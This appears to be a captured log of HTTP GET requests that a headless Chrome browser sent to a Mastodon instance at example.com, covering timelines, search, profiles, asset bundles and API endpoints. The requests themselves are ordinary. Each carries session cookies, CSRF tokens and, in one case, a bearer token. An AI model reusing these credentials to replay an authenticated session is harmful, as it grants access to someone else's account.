{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?pinned=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMjY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--854beace6a0a8d7da422c356dbc1518be180b139; _mastodon_session=rrsqAGrZeRwET%2F%2BbCcBEn0YKN%2BH32FsTGMN%2FELBzPURLDL%2FfQtlA2X57dJCilXjkuSUBii9W3JyB%2FCH1Ax2U08o5%2FQ0LvnLfkqg5aUHmlz8Lz5b%2F4MCgMyKjytRDniRzRAjMfjDIVhOQE%2BmMLxrvErKMQSB3QVlE7lrv6%2FLW64x695mYeKkQ2xlStFS7AodfYgrjCRE8DwtScPmgW%2FN0oPrTCfNkcZv0aAdHuDhq9nK%2BU6Mkq31aPGCTV0vbdRBgf8HGTuJXn%2F%2Fp9RyxHNCxItTCqED84hliKqRM3Q0Z%2Fduy4PCHFgSo8R%2BYoftw3DxnXGy4yiuTNX0DIh%2FNEOrwKfGhJ0NNfKjKTxyo8YutLZaH98n%2BWGKFsnAcrKwxXuoYrIaQ6d%2Fz2tAk--dglBlHFKrjt5Y3yv--VCnKkhOH6JdcjCTG8Eg2Yg%3D%3D"], "body": ""}
{"method": "GET", "target": "/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe77ef3c04ecd966362e7ac5d7e7a10ddc840123; _mastodon_session=SdyZCz8ZXG8FQiSBtPtmKZO9ZC%2BUFbWmrQvbCakTmfrAFg5Fd9gXerynUiXh9qdq7BEB3fI0W8ms%2FV2pu5e%2Br1tqIB05tDxNGDTmIc3J%2BDlaTLeU4dF5BJjQnaFjPeZgOReKDp%2BLzGd8yuWu9QSE6PYHuX3%2BRkLN4E4FKn1zcT8zce%2BBjGiGF7ZGVs55N9xAigu7%2FCSZeROZyUZl%2BJIT6o5fbk%2BES42bo5iR8rm%2FRGrl7JG1PAfc%2B25Ij0DfWXSLgyXY51CbUwDF%2FGgvVexJlWT6P36cFUWm0ilToLapm0uJ7OFl%2F6CWrHp47XFitbgNzyBWNSvhyAK1Yfe4FqRtDa%2BELxTEMxGqDRhaKpvV2%2FjXF1NZdV4ULrLDNujWcc%2FGEPgYWtAR9gLf4llyHC2Tm2VRaKMY6XgOTIC9qC1ZYqAKJN1YcCtQ07S0uzNHP9saVAiJzsg%3D--l9r0GmkTc07BxG%2F9--ExelfGKY22w0pINg0fOrJQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/public", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTIuOTU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--683a55a2b8eda90efbd6ae4bbe31d7d9ca48e88d; _mastodon_session=tSJo%2Fx32D26MK2pXSa7ZEHRpp0tM%2B%2BVc4XVKomVjhaABNseGev22E6ugNfHN5UG5TARH9MJi%2B9ciYqzrb0m2oToqGsG5TDlwxZqQUKOF7Ggw6Gb3V4VX%2BXWkZ08vTUAAoV%2FrniSKFH9%2F%2B47q3FDSWLfo04SnLQreAnzU8wN9298iX0qiZ3nPoyH9AvLPD9QgwZW7H3fNzDcPDJMtr6aBrTBSvF3jLCQw%2BUcnGvN7nsQ1%2BajGuX12AV9tg1QodstD5RBxvfUF9HRp4XJ1yw8wF9jFh%2BXjN6FqLpJwf16u169q%2BE52rBiGSqYVaPol8HQ%2Bd3%2F1FEZV%2BdkREAuZwxDPDqcuuwPvwNfnM1CR5Qi4GehuOkPEqOSXZaFB8aNWaTksnZcl6GFoBdJf2sUIGNYzHmwqqZJkeD7iy8OOjHoGo3gyTreiQnluiEkF4k0Nff3mNItrARE%3D--rL5XCAUKDmsD%2Fox9--xyTP52phnwqw14ZClnEGZQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTMuNzc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--09901d122b1f0c7c683796ebdea11de605cc29ba; _mastodon_session=kQHrbvwxWCj4T6n8IDRA5klVl07ETA4MxN0d6cOMeF05%2BjfKktPnjJEsqbdQ1OCS5GMYQDu3roHX9m2NfxOAP0be%2BuAq0%2FRiwmE30nrslxb%2BLCxfXg1CyW%2F4z3QFgeKLTwSfUIGaRAkgQnXd6uF%2BljI7VTO0dgB0e3gCQTpBIAXE97QzT0NOxjsHrZ0eFyg2vUNMndRiV5oAopriJBbEa5DhA8Ht4ix46i7UX5MLCn3JT5C17cCu5aYa0NSGFSkcjurmPGWOg%2FxL%2BnYc0OYWMSEBqcoB8w5G0evOn1uvYPBDKe6Km8uPWEADZ7CjU37runmFcEqfMlbY7KIVGtd69FrgfdSQ7F620Ib9tZESpy9yCi9kWyTe0Qted3nOx4pLHR2Sc8YlByd5VNtU1sFitXAuCNMfgU3YOpWMw%2FUYfUOzcGAaMaKNFRBVxLC2pysmDs37MKU%3D--PrwL1WvN6zrtqF60--yVxGdANAgpjRYrj8vjWzrQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/@alice@remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTQuODcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d3ad55402c589859ac3107b7a26c9119d14edc64; _mastodon_session=F%2Fn3sqTYIrpiYRK3qiovkEFHpDLBxaF0QeobKHJrWn3JCVtCYu7uGel0gd1JKYCGVegFpaAnpACD75kmaLg2VQX8Qkx2RWM3RGSFcGhZlD9e54iTdSQEdcdeyCGgqDiZ6R9%2FY2M3upo3ttT76rdlWBRiT9Q5bQOSdNtlJBbNshpmeADwI5JLIWM0QVtlbY6t8Oje5Lq8hIrbp1OnVC9p%2BZgwsOhqjX%2BwVZCpMlCaDqAxxhhxNVITSaci3sTuFckVLjhHS4EIHqwXUOWmC5HNfukvm%2FH2i7WVMhb5VUk%2F%2Bvgn6JrgdB71sqfTsuEkwsktT9AT1gRhHfvXVAmFMFBqzEvpdqqiVFv3QmmKkTsbeKr35wn%2BpL%2FUu3gNCPHfPimAcj2EnO9iERazZOfouSJ2aywWwH%2FrwWwT8wl%2F%2Ff0FWoThYgSp8AxwASvPn39VMlGTu9uoKEw%3D--%2B1MDJtbC3oIMPFI1--BBnKBn0Kpn5rEEemOhcRAw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=VFDMBBIjtaRar6CwZKjB49Tn79pZYZHzEkfeRf6k%2FWviFN1Xvx1ozEsPaMsNL4ZEJyX70zlbwTLhjeUiLR991pdb9vdScnTvnis7ifM2CpavXW8U8%2B9G8TveVPIcNKkmWyX7luJZpPxPUdkL%2FFHJco421ZgnZAE8INDRu42KQaIvL73PYj6%2FTUi48Ir1HLOchIW9e6FB6LP4PVelIGCgFIvswznKjy%2FdVJP%2ByEwkHlmWI0CcxO5pExJcGJ5c1HtKxLZMAVOHdTYm2pBSXOx1UVGlSbPCkOzbjg%3D%3D--O0rilVmLNphphIBu--mF%2BB7oesaIu8ghYOttQxxA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSTRNMlJsTmpZMk1UVTNNelk1Wm1RMllqUmpaR1ZrTUdSaE5UUTBNRFV3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MTEuMTA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8f62ff1df9fa574bfddeccc9a1b78fc315de788e; _mastodon_session=0Fk90wqdTTgZyid01PXnwV77POyvxjB2%2B4VLhJqShA6kJ72vvDVcMamz5ciDpr3nhLyU%2FtgAxbzPgOQjuSBPu8DZJKihgNtHsLC%2BnEM28CAUiJSDbcPs4rsUpccpHn8TTsobEdc%2FlntgX6gDsK7rEWDJSSv29zVLTHSGdII%2Fo590u1X2XQyPxoqJLfvGR9GgyWxOmpn9p5VnZlWB6cZM1s3NRUeJmQpWaZftGRY8bckAQBsYYjzxz616odgcmaP1jxxIFkVC4WWD2sb4l6Y03gCeNn77GZPzCdhFqM0BbeV9dJWiqooQ70Fzw4Yf6vaEMXIgBOpBzEUv2AX7MazeAMS4px%2BJDuhDuoXfALaCfNKm7aS3Rte27YznvF%2F4peEtVUASI%2BW2pXpJ--dMe3B9EzsQX0gvC%2F--SS8hCi3KejM5GikirX4lGA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=jDhNSab96xZL6Vv5%2Fz1kvMfnPisZP23Ed0L0eOSOzUdJbEdd58YgH7IsWol1MfuHROk1LmAdi1zd0uMCsNYTygmBnGlJQIDHLC7y%2Bwah9VKZUrHZe8Yg%2B%2Bf9KVnWQkaGZG3S248jMnMZgvdfkBcirpcS2%2Bfy8BP0E7atXitar0hzqTR4KMIUd1qsqXTVF%2FdjzDJ8XAsvgdebIrJ%2FvHOID%2FGcGWzprsxIYTV1MUXbXu0Sh%2BeCPfY80i6STDQGM20vnpIMmkCrQWAM4P4UmFz%2FXSYzFM27ARoj%2BQ%3D%3D--RhTnjzTJ4Cjf7eis--QLxoOakmfr7z9sRFGCgNOg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/skip_links-DIHZBkdS.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-router-dom-C1dtKQUg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-immutable-pure-component.es-DpNNSygw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D", "Sec-WebSocket-Key: Y3IFC2Oku06pSzNXQel+ig==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Origin: https://example.com", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
